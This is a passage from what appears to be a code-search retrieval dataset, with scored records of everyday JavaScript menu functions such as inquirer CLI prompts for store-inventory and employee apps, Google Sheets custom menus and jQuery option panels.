profile':\n\t\t\t\t\tgenerateProfile();\n\t\t\t}\n\t\t});\n}", "title": "" }, { "docid": "404b3e9b8f135776c42d3eb661159069", "score": "0.6610956", "text": "function OnFormLoaded()\r\n{\r\n\tadd_contextmenuitem (98,\"Open New VCM window for CI\");\r\n\tadd_contextmenuitem (99,\"Open New tab view for CI\");\r\n\tadd_contextmenuitem (101,\"\");\r\n\tadd_contextmenuitem (96,\"View Inventory\");\r\n\tadd_contextmenuitem (97,\"View Change Schedule\");\r\n\tadd_contextmenuitem (100,\"\");\r\n\tadd_contextmenuitem (102,\"Show Impact Upstream\");\r\n\tadd_contextmenuitem (95,\"Show Impact Downstream\");\r\n\tadd_contextmenuitem (94,\"Hide Impact\");\r\n\t//add_contextmenuitem (94,\"***Custom function call\");\r\n\r\n}", "title": "" }, { "docid": "81e94ccd377a8c0dc31578a925d78e2b", "score": "0.66063374", "text": "function mainMenu() {\n inquirer.prompt([\n {\n name: 'main',\n type: 'list',\n message: 'What would you like to do?',\n choices: [\n 'View Products for Sale',\n 'View Low Inventory',\n 'Add to Inventory',\n 'Add New Product',\n 'Close Program'\n ]\n }\n ]).then(answerMain => {\n switch (answerMain.main) {\n case ('View Products for Sale'):\n selectTable();\n break;\n case ('View Low Inventory'):\n viewLowInventory();\n break;\n case ('Add to Inventory'):\n addToInventory();\n break;\n case ('Add New Product'):\n addNewProduct();\n break;\n default:\n closeProgram();\n }\n }); \n}", "title": "" }, { "docid": "d639d60e70e06a0e5dc7c685af37fd0a", "score": "0.65796596", "text": "function menu(param) {\r\n // automatically hide text box\r\n Stage.layers.gui.get('box').visible = false;\r\n Stage.layers.gui.get('box').text = '';\r\n Stage.layers.gui.get('box').balloon = null;\r\n \r\n // Dynamically create a cform with buttons for options\r\n let buttonX = Stage.canvas.width * (1-Config.boxWidth)/2;\r\n let buttonW = Stage.canvas.width * Config.boxWidth;\r\n let buttonH = Stage.canvas.height * Config.menuHeight;\r\n let buttonY = (Stage.canvas.height - ((param.length+1)/2 * buttonH))/2;\r\n let choices = [param[0], true, button,\r\n {name:param[0], x:buttonX, y:buttonY, w:buttonW, h:buttonH, base:Config.activeTheme.menuPrompt}];\r\n let i=1, j=4;\r\n while (i<param.length) {\r\n if ((param.length>i+2) && (typeof param[i+2] != 'string')) {\r\n // this is a condition\r\n let arr_param = new Array();\r\n for (let prop in param[i+2]) {\r\n if (param[i+2].hasOwnProperty(prop)) {\r\n arr_param.push(prop);\r\n arr_param.push(JSON.stringify(param[i+2][prop]));\r\n }\r\n }\r\n let compare = false;\r\n for (let k=0; k<arr_param.length; k+=2) {\r\n arr_param[k+1] = eval(arr_param[k+1]);\r\n\r\n compare = false;\r\n let val = Helper.getValue(arr_param[k]);\r\n if (val != null) {\r\n if (typeof val == 'number') {\r\n if (val >= arr_param[k+1])\r\n compare = true;\r\n }\r\n else if (typeof val == 'string') {\r\n if (val === arr_param[k+1])\r\n compare = true;\r\n }\r\n else {\r\n if (val == arr_param[k+1])\r\n compare = true;\r\n }\r\n }\r\n if (compare == false) break;\r\n }\r\n if (compare == true) {\r\n choices[j] = button;\r\n choices[j+1] = {name:param[i], link:[menu_close,param[i+1]], \r\n x:buttonX, y:buttonY+buttonH*(j-2)/2, w:buttonW, h:buttonH, \r\n base:Config.activeTheme.menuBase, hover:Config.activeTheme.menuHover, click:Config.activeTheme.menuClick};\r\n j += 2;\r\n }\r\n i += 3;\r\n }\r\n else {\r\n choices[j] = button;\r\n choices[j+1] = {name:param[i], link:[menu_close,param[i+1]], \r\n x:buttonX, y:buttonY+buttonH*(j-2)/2, w:buttonW, h:buttonH, \r\n base:Config.activeTheme.menuBase, hover:Config.activeTheme.menuHover, click:Config.activeTheme.menuClick};\r\n i += 2;\r\n j += 2;\r\n }\r\n }\r\n cform(choices);\r\n // set focus to menu box\r\n //for (let [key, control] of Stage.layers.gui.entries()) {\r\n // if (control.id == param[0])\r\n // param.inputFocus = true;\r\n //}\r\n}", "title": "" }, { "docid": "28ba2a2f9caa3936913c4b49176335db", "score": "0.65789753", "text": "function menu() {\n inquirer.prompt([\n {\n type: \"list\",\n message: \"What would you like to do?\",\n name: \"command\",\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\", \"QUIT\"]\n }\n ]).then(function (inquirerResponse) {\n if (inquirerResponse.command === \"View Products for Sale\") {\n viewProducts();\n }\n else if (inquirerResponse.command === \"View Low Inventory\") {\n viewLowInventory();\n }\n else if (inquirerResponse.command === \"Add to Inventory\") {\n addToInventory();\n }\n else if (inquirerResponse.command === \"Add New Product\") {\n addNewProduct();\n }\n else if (inquirerResponse.command === \"QUIT\") {\n quitMenu();\n }\n });\n}", "title": "" }, { "docid": "b864fd63062d307c0cc782a51490d7d1", "score": "0.6576205", "text": "display_drop_down_menus(){\n // textAlign(CENTER);\n background(200);\n // this.sel = createSelect();\n this.sel.position(500, 10);\n this.sel.option('line');\n this.sel.option('dot');\n // this.sel.option('another_one');\n // this.sel.changed( this.change_design_type );\n }", "title": "" }, { "docid": "3f7031fca2e65d8c21457a84197e9b63", "score": "0.65732557", "text": "function userOptions() {\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"selection\",\n message: \"What would you like to do?\",\n choices: [\"View Products Sales By Department\", \"Create New Department\", \"Exit\"]\n }\n ])\n .then(function (answer) {\n switch (answer.selection) {\n case 'View Products Sales By Department':\n viewProductsSalesByDepartment();\n break;\n case 'Create New Department':\n createNewDepartment();\n break;\n default:\n closeAndExit();\n }\n });\n}", "title": "" }, { "docid": "df70b2536dbff2ddd214fa4452d56c4e", "score": "0.6571342", "text": "function displayWeaponsMenu() {\n\t// conditionals for displaying data according to user access permissions\n\tswitch(getUserAccess()) {\n\t\tcase 'player1_access':\n\t\t\t$('#playerone-menu').html(getWeaponChoicesDiv('player'));\n\t\t\tdisplayTextOnMenu(2, 'Choosing weapon...');\n\t\t\tbreak;\n\t\tcase 'player2_access':\n\t\t\t$('#playertwo-menu').html(getWeaponChoicesDiv('player'));\n\t\t\tdisplayTextOnMenu(1, 'Choosing weapon...');\n\t\t\tbreak;\n\t\tcase 'observer_access':\n\t\t\tdisplayTextOnMenu(1, 'Choosing weapon...');\n\t\t\tdisplayTextOnMenu(2, 'Choosing weapon...');\n\t}\n}", "title": "" }, { "docid": "80680d751462c0038751b9c4e13f954f", "score": "0.65624225", "text": "function giveOptions () {\n\n inquirer.prompt([\n {\n type: \"rawlist\",\n name: \"options\",\n message: \"Hello Store Manager, what would you like to do\",\n choices: [\n \"View Products for Sale\", \n // \"Add New Products\", \n \"View Low Stock\", \n \"Add to Stock\"]\n },\n\n // When the user responds...\n ]).then(function(answer) {\n\n switch (answer.options) {\n case \"View Products for Sale\":\n viewProducts();\n break;\n\n // case \"Add New Products\":\n // addProducts();\n // break;\n\n case \"View Low Stock\":\n viewLowStock();\n break;\n\n case \"Add to Stock\":\n addStock();\n break;\n\n };\n\n });\n}", "title": "" }, { "docid": "3e324dd9ec80e256e568dd1bb4924b86", "score": "0.65598077", "text": "function menuChoices() {\n inquirer\n .prompt(menu)\n .then( ({select_choice}) => {\n switch(select_choice) {\n case 'View All Departments':\n viewAllDept();\n break;\n case 'View All Roles':\n viewAllRoles();\n break;\n case 'View All Employees':\n viewAllEmp();\n break;\n case 'Add A Department':\n inqDepAdd();\n break;\n case 'Add A Role':\n gatherDeptForRole();\n break;\n case 'Add An Employee':\n gatherRoleForEmp();\n break;\n case 'Update Employee Role':\n gatherRoleForUpdate();\n break;\n }\n })\n}", "title": "" }, { "docid": "ab97ef83b55b396b6f7560547dd6e690", "score": "0.65561265", "text": "function showOptions() {\n op1Button.show();\n op2Button.show();\n op3Button.show();\n op4Button.show();\n}", "title": "" }, { "docid": "0d0e7ce961d248cd121a1dd73bff7338", "score": "0.6526659", "text": "function initMenu()\n{\n\tativaBotaoAdicionaAtlas(\"../php/atlas.php?funcao=alterarAtlas\",\"adiciona\");\n\tcore_carregando(\"ativa\");\n\tcore_ativaPainelAjuda(\"ajuda\",\"botaoAjuda\");\n\tcore_pegaPerfis(\"pegaAtlas()\");\n}", "title": "" }, { "docid": "e20d7ed835a31ce6961966fe2f10aa50", "score": "0.6524828", "text": "function onOpen(e) {\nSpreadsheetApp.getUi()\n .createMenu('Maki Labs Operations')\n .addSubMenu(ui.createMenu('Reset Forms')\n .addItem('Create BPR', 'clearSheets')\n .addItem('Termination', 'clearTerminate'))\n .addItem('Flush System', 'flushSystem')\n .addSeparator()\n .addSubMenu(SpreadsheetApp.getUi().createMenu('Toggle Terminate Elements')\n .addItem('BOM Requirements', 'toggleTerminationBomRequirements')\n .addItem('Notes', 'toggleTerminationNotes')\n .addItem('Logs', 'toggleTerminationLogs'))\n .addSubMenu(SpreadsheetApp.getUi().createMenu('Toggle Create BPR Elements')\n .addItem('Available Materials', 'toggleAvailableMaterials')\n .addItem('Enable Bypass Mode', 'enableByPassMode'))\n .addToUi()\n}", "title": "" }, { "docid": "4c46b211630e4ec2280e5bec13bae604", "score": "0.65167207", "text": "showOptions(){\n // states that player is currently selecting an option, ensures they can\n // select using the keyboard\n game.selectingOptions = true;\n\n $(\"#welcome_section\").addClass(\"hidden\");\n $(\"#game_results\").addClass(\"hidden\");\n $(\"#player_options\").removeClass(\"hidden\");\n }", "title": "" }, { "docid": "e6648a6992c762a4b279a489d5f5b492", "score": "0.6514618", "text": "function onOpen() {\n var ui = SpreadsheetApp.getUi();\n // Or DocumentApp or FormApp.\n ui.createMenu('Custom Menu')\n .addItem('First item', 'menuItem1')\n .addSeparator()\n .addSubMenu(ui.createMenu('Sub-menu')\n .addItem('Second item', 'menuItem2'))\n .addToUi();\n}", "title": "" }, { "docid": "8bb5c4c71dd3122e37ce8118714837fb", "score": "0.65125304", "text": "function mainMenu() { \n inquirer.prompt([\n { \n type: \"list\", \n message: \"Select an option: \", \n name: \"options\", \n choices: [ \n \"View all employees\", \n \"View all employees by role\", \n \"View all employees by department\", \n \"Add employee\", \n \"View roles\",\n \"Add role\", \n \"View departments\",\n \"Add department\", \n \"Exit\"\n ]\n }\n ])\n\n .then(function(answers) {\n switch (answers.options){ \n case \"View all employees\": \n viewAllEmployees(); \n break;\n\n case \"View all employees by role\": \n viewAllERoles(); \n break;\n\n case \"View all employees by department\": \n viewAllEDepartments(); \n break;\n\n case \"Add employee\": \n addEmployee(); \n break;\n\n case \"View roles\": \n viewRoles(); \n break; \n\n case \"Add role\": \n addRole(); \n break;\n \n case \"View departments\": \n viewDepartments();\n break;\n\n case \"Add department\": \n addDepartment(); \n break;\n\n case \"Exit\": \n exitApp();\n break;\n }\n })\n}", "title": "" }, { "docid": "5a20fd2a3c31a8621bbcaea6e504f23e", "score": "0.6499272", "text": "function optionsOpen() {\n\t\t\t\t// We get the values of the forms for the sounds\n\t\t\t\tsounds = $(\"#data-store .options .sounds\").val();\n\t\t\t\tif(sounds == 'on') {\n\t\t\t\t\t$(\"#options .sounds\").val('sounds-on');\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\telse {\n\t\t\t\t\t$(\"#options .sounds\").val('sounds-off');\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// We get the values of the forms for the geolocalisation\n\t\t\t\tgeolocalisation = $(\"#data-store .options .geolocalisation\").val();\n\t\t\t\tif(geolocalisation == 'on') {\n\t\t\t\t\t$(\"#options .geolocalisation\").val('geolocalisation-on');\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\telse {\n\t\t\t\t\t$(\"#options .geolocalisation\").val('geolocalisation-off');\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// The button click functions\n\t\t\t\tfunction subAskShow() {\n\t\t\t\t\t$(\"#options .sub-ask\").fadeIn();\n\t\t\t\t\t$(\"#options .sub-ask .sub-ask-element\").hide();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$(\"#options .change-password\").click(function() {\n\t\t\t\t\tsubAskShow();\n\t\t\t\t\t$(\"#options .sub-ask .sub-ask-pass\").show();\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t$(\"#options .delete-account\").click(function() {\n\t\t\t\t\tsubAskShow();\n\t\t\t\t\t$(\"#options .sub-ask .sub-ask-delete\").show();\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t$(\"#options .sub-ask .sub-ask-top .sub-ask-close\").click(function() {\n\t\t\t\t\t$(\"#options .sub-ask\").fadeOut();\n\t\t\t\t\t$(\"#options .sub-ask .sub-ask-element\").hide();\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t$(\"#options\").show();\n\t\t\t}", "title": "" }, { "docid": "18add6d0f40ace17a7338794b3564bf6", "score": "0.6494582", "text": "function sendMenu(session) {\n builder.Prompts.choice(session, 'Here\\'s a list of all the things I can do.', 'Register|Train Times|Train Prices|Get Help from a Human', { listStyle: builder.ListStyle.button })\n}", "title": "" }, { "docid": "ac871582f736c9db87e7c19af5a1cd19", "score": "0.64816654", "text": "function showCommand() {\n $('.opt-group .option').each(function(){\n $('.'+label($(this).text())).hide();\n // console.log('disable '+label($(this).text()));\n });\n $('.opt-group .active').each(function(){\n $('.'+label($(this).text())).show();\n // console.log('enable '+label($(this).text()));\n });\n }", "title": "" }, { "docid": "1f632e5437edfafda6262bde83ffb8f3", "score": "0.6481007", "text": "function mainMenu() {\n con.query(\"SELECT * FROM products\", function(err, resp){\n // Array of created departments to be used for error checking\n for (var i=0; i<resp.length; i++) {deptArray.push(resp[i].department_name.toLowerCase())}\n\n // Prompt the choices\n inquirer.prompt([\n {\n type: \"list\",\n message: \"Menu Options:\",\n choices: [\"View Products\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\", \"Quit\"],\n name: \"choice\"\n }\n ]).then(function(response){\n // Clear the screen and then run the appropriate function based on user input\n clear();\n switch (response.choice) {\n case \"View Products\":\n displayProducts();\n break;\n case \"View Low Inventory\":\n displayLowInventory();\n break;\n case \"Add to Inventory\":\n addToInventory();\n break;\n case \"Add New Product\":\n addNewProduct();\n break;\n case \"Quit\":\n con.end();\n break;\n }\n })\n });\n}", "title": "" }, { "docid": "bb668231ebc9994b3dc7e193b693e974", "score": "0.64683425", "text": "function makeMenu() {\n var menuPreference = document.getElementById(\"dietOptions\").value;\n var text = \"\";\n //console.log(menuPreference);\n //do a switch statement based on preference\n //requirement: switch statement\n switch(menuPreference) {\n case \"vegetarianMenu\":\n var menuItems = mainDishVegetarian;\n break;\n case \"meatMenu\":\n var menuItems = mainDishMeat;\n break;\n case \"indiffMenu\":\n var menuItems = mainDishIndiff;\n break;\n case \"veganMenu\":\n var menuItems = \"Sorry no vegan menu available.\";\n break;\n default:\n var menuItems = \"Please choose a menu.\";\n break;\n }\n //nest a for loop inside an if else statement to ensure default message appears\n //requirement: for loop\n //requirement: if...else statement\n //requirement: assignment += = operators, arithmetic ++ operator, and comparison === operator\n if(Array.isArray(menuItems) === true) {\n for (i = 0; i < menuItems.length-1; i++) {\n text += menuItems[i] + \"<br>\";\n }\n } else {\n text = menuItems;\n }\n document.getElementById(\"menulist\").innerHTML = text;\n}", "title": "" }, { "docid": "2f4f738ab664be1e5f8fcf95bf009bae", "score": "0.6458656", "text": "function displayMenu() {\n inquirer.prompt([\n {\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\"View Products for Sale\",\n \"View Low Inventory\",\n \"Add to Inventory\",\n \"Add New Products\",\n \"Exit\"]\n }\n ]).then(function (answer) {\n // switch case to dictate which function to execute depending on which command the user picks\n switch (answer.action) {\n case \"View Products for Sale\":\n displayProducts();\n break;\n case \"View Low Inventory\":\n lowInventory();\n break;\n case \"Add to Inventory\":\n addInventory();\n break;\n case \"Add New Products\":\n addNew();\n break;\n case \"Exit\":\n console.log(\"See you next time boss\");\n connection.end();\n break;\n default:\n break;\n }\n });\n}", "title": "" }, { "docid": "480ede86cafb9431452bf118a15f0f5c", "score": "0.645348", "text": "function onOpen() { \n SpreadsheetApp.getUi() // Or DocumentApp or FormApp.\n .createMenu('Orders')\n .addItem('Reimport', 'reimport')\n .addItem('Clear', 'clear')\n .addItem('Import', 'import')\n .addItem('Import Settings', 'showImportSettingsDialog')\n .addItem('User Settings', 'showUserSettingsDialog')\n // .addItem('Settings', 'showSidebar')\n .addToUi();\n \n}", "title": "" }, { "docid": "883c912f58e529a446e883f5693a3598", "score": "0.6448159", "text": "function options() {\r\n\tdocument.getElementById(\"optionsMenBG\").style.display = \"block\";\r\n\tdocument.getElementById(\"optionsMenFG\").style.display = \"block\";\r\n}", "title": "" }, { "docid": "6e0bc83c5a8b9b716e0e208529404f49", "score": "0.64416337", "text": "showSelectToSpeakSettings() {}", "title": "" }, { "docid": "58b7d393aa676fe0ae1798313214aee7", "score": "0.64205545", "text": "function opzioniMenu() {\n var option = [\n {\n type: \"list\",\n name: \"progetto\",\n message: \"Scegli\",\n choices: [\n \"Menù\",\n \"torna scelta posto\"\n ]\n }]; // stampa oggetto\n inquirer.prompt(option).then(function (risposta) {\n if (risposta.progetto == \"Menù\") {\n menu();\n return;\n\n } else if (risposta.progetto == \"torna scelta posto\") {\n database();\n }\n });\n}", "title": "" }, { "docid": "0f523e8b0c47bf8cb960484d4664b71d", "score": "0.6415439", "text": "function onOpen() {\n var ui = SpreadsheetApp.getUi();\n ui.createMenu('CRYPTOTOOLS')\n .addItem('CRYPTOBALANCE', 'ShowHowToRefresh')\n .addSeparator()\n .addItem('CRYPTOSTAKING', 'ShowHowCRYPTOSTAKING')\n .addSeparator() \n .addItem('CRYPTOREWARDS', 'ShowHowCRYPTOREWARDS')\n .addSeparator()\n .addItem('CRYPTOLENDING', 'ShowHowCRYPTOLENDING')\n .addSeparator()\n .addSeparator()\n .addItem('Contact Info', 'ShowContactInfo')\n .addToUi();\n \n \n}", "title": "" }, { "docid": "08f571887fa8b324a43c4e04b1e143da", "score": "0.64090145", "text": "displayMainMenu() {}", "title": "" }, { "docid": "d0844268502a6d68bd9fba70b7b36517", "score": "0.6397575", "text": "function mainMenu() {\n inquirer\n .prompt({\n type: \"rawlist\",\n name: \"action\",\n message: \"What would you like to do?\",\n choices: [\n \"View Departments\",\n \"View Employees\",\n \"View Roles\",\n \"Add Department\",\n \"Add Role\",\n \"Add Employee\",\n \"Update Employees Role\",\n \n \"Exit\"\n ]\n })\n .then(function (answer) {\n switch (answer.action) {\n case \"View Departments\":\n viewDepartment();\n break;\n case \"View Employees\":\n viewEmployee();\n break;\n case \"View Roles\":\n viewRole();\n break;\n case \"Add Department\":\n addDepartment();\n break;\n case \"Add Role\":\n addRole();\n break;\n case \"Add Employee\":\n addEmployee();\n case \"Update Employees Role\":\n updateEmployee();\n break;\n case \"Delete Department\":\n deleteDepartment();\n break;\n case \"Delete Role\":\n deleteRole();\n break;\n case \"Delete Employee\":\n deleteEmployee();\n break;\n case \"Exit\":\n connection.end()\n\n }\n })\n \n}", "title": "" }, { "docid": "75cd6884d84d0483380ec1c05f470073", "score": "0.6391184", "text": "function showNormalOptions() {\n var options = ['email-option', 'phone-number-option', 'password-option'];\n $(buildSelector(options)).show();\n}", "title": "" }, { "docid": "75cd6884d84d0483380ec1c05f470073", "score": "0.6391184", "text": "function showNormalOptions() {\n var options = ['email-option', 'phone-number-option', 'password-option'];\n $(buildSelector(options)).show();\n}", "title": "" }, { "docid": "fb60cf514f29d8c802baa1433ded754e", "score": "0.6387746", "text": "function init_options()\n{\n // --- preparation. --- //\n\n var\n i = 0, m = '',\n Obj = o = $check = null;\n\n\n // --- add clickability to the actual HTML. --- //\n\n// set_up_collapsed_expandability();\n// inject_question_marks();\n// all_or_nothing();\n// comment_icons();\n\n test_import(); // import\n overlay_interactivity();\n\n}", "title": "" }, { "docid": "72792f98960e61d79286ec005017a646", "score": "0.63845795", "text": "showTeammenuOptions(teamInfo) {\n return prompt(`\n 0) back\n 1) Add Pokémon\n 2) Remove Pokémon\n -------------------\n ${teamInfo}\n `);\n }", "title": "" }, { "docid": "cea6bbf200f5c325adf8f1ffe6cf735a", "score": "0.6383589", "text": "function showOptionsContent() {\n\n startContent.hide();\n gameContent.hide();\n optionsContent.show();\n\n }", "title": "" }, { "docid": "9e7c69186a125a4d7d503a124fc31ee8", "score": "0.6382228", "text": "function menu() {\n\n console.log(\"\\n\");\n\n inquirer.prompt(superMenu).then(superOption);\n\n}", "title": "" }, { "docid": "51c55f33815b4f0b66e33ee773b28e11", "score": "0.63771856", "text": "function menuPrompt() {\n inquirer.prompt([\n {\n name: \"option\",\n message: \"What are you searching?\",\n choices: menuChoices,\n type: \"list\",\n },\n {\n name: \"keyword\",\n message: \"What would you like to know more about?\"\n },\n ]).then(function(response) {\n // Uses the menuChoices array to run unique functions\n var value = menuChoices.indexOf(response.option);\n if(value === 0) {\n actors(response.keyword)\n }\n else if(value === 1) {\n shows(response.keyword) }\n })\n}", "title": "" }, { "docid": "db96594a643a0cca7da3b82bc6683b62", "score": "0.6359022", "text": "menu(botCtx) {\n const menu = [\n // [new RouletteOption(this.ctx, this)],\n [new TopUpCoinOption(this.ctx, this), new TopUpRubOption(this.ctx, this)],\n [new WithdrawCoinOption(this.ctx, this), new WithdrawRubOption(this.ctx, this)],\n [new ExchangeCoinOption(this.ctx, this), new ExchangeRubOption(this.ctx, this)],\n [new BalanceCoinOption(this.ctx, this), new InfoOption(this.ctx, this)],\n [new ReserveOption(this.ctx, this)]\n ];\n\n if (this.ctx.isAdmin(botCtx)) menu.push([new SetExchangeRateOption(this.ctx, this)]);\n\n return menu;\n }", "title": "" }, { "docid": "3b4934788da302d1c090cc87ffc2526c", "score": "0.6353441", "text": "function loadMenu() {\r\n var menuOption = new Object();\r\n\r\n getTranslations(\"Menus\");\r\n\r\n menu = new Array();\r\n\r\n menuOption = {\r\n title: (IsStringNullOrEmpty(getTranslatedValue(\"HomeLabel\")) ? \"\" : getTranslatedValue(\"HomeLabel\")),\r\n url: \"dashboard.html\"\r\n };\r\n menu.push(menuOption);\r\n\r\n menuOption = {\r\n title: (IsStringNullOrEmpty(getTranslatedValue(\"quickLinksLabel\")) ? \"\" : getTranslatedValue(\"quickLinksLabel\")),\r\n url: \"quickLinks.html\"\r\n };\r\n menu.push(menuOption);\r\n\r\n if (decryptStr(getLocal(\"ShowCreateServiceRequest\")).toLowerCase() === \"true\") {\r\n menuOption = {\r\n title: ((decryptStr(getLocal(\"MSIClientCode\")) === \"IO\") ? getTranslatedValue(\"requestServiceLabelIO\") : getTranslatedValue(\"requestServiceLabel\")),\r\n url: \"RequestService.html\"\r\n };\r\n\r\n menu.push(menuOption);\r\n }\r\n\r\n menuOption = {\r\n title: ((decryptStr(getLocal(\"MSIClientCode\")) === \"IO\") ? getTranslatedValue(\"historyLabelIO\") : getTranslatedValue(\"historyLabel\")),\r\n url: \"serviceHistory.html\"\r\n };\r\n menu.push(menuOption);\r\n\r\n menuOption = {\r\n title: ((decryptStr(getLocal(\"MSIClientCode\")) === \"IO\") ? getTranslatedValue(\"viewServiceRequestLabelIO\") : getTranslatedValue(\"viewServiceRequestLabel\")),\r\n url: \"viewServiceRequest.html\"\r\n };\r\n menu.push(menuOption);\r\n\r\n if (decryptStr(getLocal(\"ShowProvideFeedback\")).toLowerCase() === \"true\") {\r\n menuOption = {\r\n title: (IsStringNullOrEmpty(getTranslatedValue(\"feedbackLabel\")) ? \"\" : getTranslatedValue(\"feedbackLabel\")),\r\n url: \"feedback.html\"\r\n };\r\n menu.push(menuOption);\r\n }\r\n\r\n menuOption = {\r\n title: (IsStringNullOrEmpty(getTranslatedValue(\"profileLabel\")) ? \"\" : getTranslatedValue(\"profileLabel\")),\r\n url: \"editProfile.html\"\r\n };\r\n menu.push(menuOption);\r\n\r\n if (getLocal(\"SSOUser\") != \"true\") {\r\n menuOption = {\r\n title: (IsStringNullOrEmpty(getTranslatedValue(\"changePasswordLabel\")) ? \"\" : getTranslatedValue(\"changePasswordLabel\")),\r\n url: \"changePassword.html\"\r\n };\r\n menu.push(menuOption);\r\n }\r\n\r\n if (decryptStr(getLocal(\"ShowAboutUs\")) == \"1\") {\r\n menuOption = {\r\n title: (IsStringNullOrEmpty(getTranslatedValue(\"aboutUsLabel\")) ? \"\" : getTranslatedValue(\"aboutUsLabel\")),\r\n url: \"aboutUs.html\"\r\n };\r\n menu.push(menuOption);\r\n }\r\n\r\n if (getLocal(\"SSOUser\") == \"true\" && decryptStr(getLocal(\"ShowSettingsInMenu\")) == \"1\") {\r\n menuOption = {\r\n title: (IsStringNullOrEmpty(getTranslatedValue(\"SettingsLabel\")) ? \"Settings\" : getTranslatedValue(\"SettingsLabel\")),\r\n url: \"#\",\r\n id: \"Settings\"\r\n };\r\n menu.push(menuOption);\r\n }\r\n\r\n var text = $('#myDiv .myClass a').text();\r\n $(document).on(\"pageshow\", function (event) {\r\n var items = '', // menu items list\r\n ul = $(\".mainMenu:empty\"); // get \"every\" mainMenu that has not yet been processed\r\n for (var i = 0; i < menu.length; i++) {\r\n items += '<li><a href=\"' + menu[i].url + '\" id=\"' + menu[i].id + '\" onclick=\"navigateTo(this.id);\">' + menu[i].title + '</a></li>';\r\n }\r\n\r\n ul.append(items);\r\n ul.listview('refresh'); // use cache, as \".mainMenu:empty\" will no longer work (append called!)\r\n });\r\n}", "title": "" }, { "docid": "b5017a24f199c9d8c9de658fab261b2b", "score": "0.6353436", "text": "function addtomenu(){\r\n UI.AddLabel(\" LAGSYNC 2.1\");\r\n UI.AddDropdown( \"Lagsync\", [ \"Enable\", \"Disable\"] );\r\n\tUI.AddDropdown( \"Method\", [ \"Off\", \"SWITCHsync\", \"JITTERsync\" ] );\r\n\tUI.AddLabel(\" 9.05.2020 build.\");\r\n // UI.AddSliderFloat(\"SWITCH delay\",0, 5);\r\n}", "title": "" }, { "docid": "8355e7d9162deaf3a675f9f207b46e04", "score": "0.6331573", "text": "function mainMenu() {\n inquirer\n .prompt(\n {\n name: \"main\",\n type: \"rawlist\",\n choices: [\"Browse and Buy\", \"Handle Inventory\"],\n message: \"Please make a selection:\"\n })\n .then(function (answer) {\n if (answer.main === \"Browse and Buy\") {\n //Call the promise function showProducts, and if we get results, call buy stuff\n showProducts().then(function(rows) {\n buyStuff();\n });\n } else if (answer.main === \"Handle Inventory\") {\n //Or call the function to handle the inventory\n Manage();\n }\n });\n}", "title": "" }, { "docid": "1ebbad8930a338cc19cd7d8d9843fe74", "score": "0.6330321", "text": "function subMenu() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"subMenu\",\n message: \"Where to Next?.\".green,\n choices: [\n \" --> Main Menu\",\n \" --> Exit App\"\n ]\n }\n ]).then(function(data) {\n if (data.subMenu === \" --> Main Menu\") return mainMenu();\n if (data.subMenu === \" --> Exit App\") return exit();\n }).catch(err => {\n return err;\n });\n }", "title": "" }, { "docid": "c9b1797b3229923850ba38d3434588a3", "score": "0.63215977", "text": "function mainMenu() {\n displayText(`Menu`);\n}", "title": "" }, { "docid": "c927e2e62b5ffaea29fa523a76f11ad6", "score": "0.6319972", "text": "ShowAsDropDown() {}", "title": "" }, { "docid": "4ec1f079e705e33004c1bc3f44f4a7ea", "score": "0.6316201", "text": "function showMenu() {\n\t\tshowStats();\n\t\tsuper.showMenu();\n\t\tbuttonTabStats.gameObject.SetActive(true);\n\t\tbuttonTabItems.gameObject.SetActive(true);\n\t\tbuttonTabEmployees.gameObject.SetActive(true);\n\t\tbuttonManager.gameObject.SetActive(true);\n\t\t\n\t\tbuttonUpgrade.gameObject.transform.localPosition.x = STATS_BUTTON_POSITION[0];\n\t\tbuttonManager.gameObject.transform.localPosition.x = STATS_BUTTON_POSITION[1];\n\t}", "title": "" }, { "docid": "c2d7e29d1d98a7ada085673bb26570c5", "score": "0.63066524", "text": "displayFileMenu() {\n //TO DO\n }", "title": "" }, { "docid": "07a6b7c23272ce28723f8869263f5a9c", "score": "0.6302228", "text": "function superOption(answers) {\n\n switch(answers.option) {\n case \"View Product Sales by Department\":\n console.log(\"\\n\");\n viewProductSales();\n break;\n case \"Create New Department\":\n console.log(\"\\n\");\n addDepartment();\n break;\n default:\n endSupervisor();\n };\n\n}", "title": "" }, { "docid": "91b4a38686c95c8b8b03b0796f29bae2", "score": "0.63016987", "text": "function loadMainMenu() {\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: \"What would you like to do??\",\n choices: [\n {\n name: \"View all Employees\",\n value: \"VIEW_EMPLOYEES\",\n },\n {\n name: \"View all Roles\",\n value: \"VIEW_ROLES\",\n },\n {\n name: \"View all Departments\",\n value: \"VIEW_DEPARTMENTS\",\n },\n {\n name: \"Add Department\",\n value: \"ADD_DEPARTMENT\",\n },\n {\n name: \"Add Role\",\n value: \"ADD_ROLE\",\n },\n {\n name: \"Add Employee\",\n value: \"ADD_EMPLOYEE\",\n },\n {\n name: \"Remove Employee\",\n value: \"REMOVE_EMPLOYEE\",\n },\n {\n name: \"Remove Role\",\n value: \"REMOVE_ROLE\",\n },\n {\n name: \"Remove Department\",\n value: \"REMOVE_DEPARTMENT\",\n },\n {\n name: \"Update Employee Role\",\n value: \"UPDATE_ROLE\",\n },\n {\n name: \"Update Employee Manager\",\n value: \"UPDATE_MANAGER\",\n },\n {\n name: \"Employees by Manager\",\n value: \"EMPLOYEES_BY_MANAGER\",\n },\n {\n name: \"All Manages with Employees\",\n value: \"EMPLOYEES_AND_MANAGER\",\n },\n {\n name: \"Total Salary by Department\",\n value: \"SALARY_BY_DEPARTMENT\",\n },\n {\n name: \"DONE\",\n value: \"DONE\",\n },\n ],\n },\n ])\n .then((response) => {\n handleChoices(response);\n });\n}", "title": "" }, { "docid": "6dd5d0805dff255f7c87452bbc7a7204", "score": "0.6300872", "text": "function onOpen(e){\n SpreadsheetApp.getUi()\n .createMenu('Michelles Menu')\n 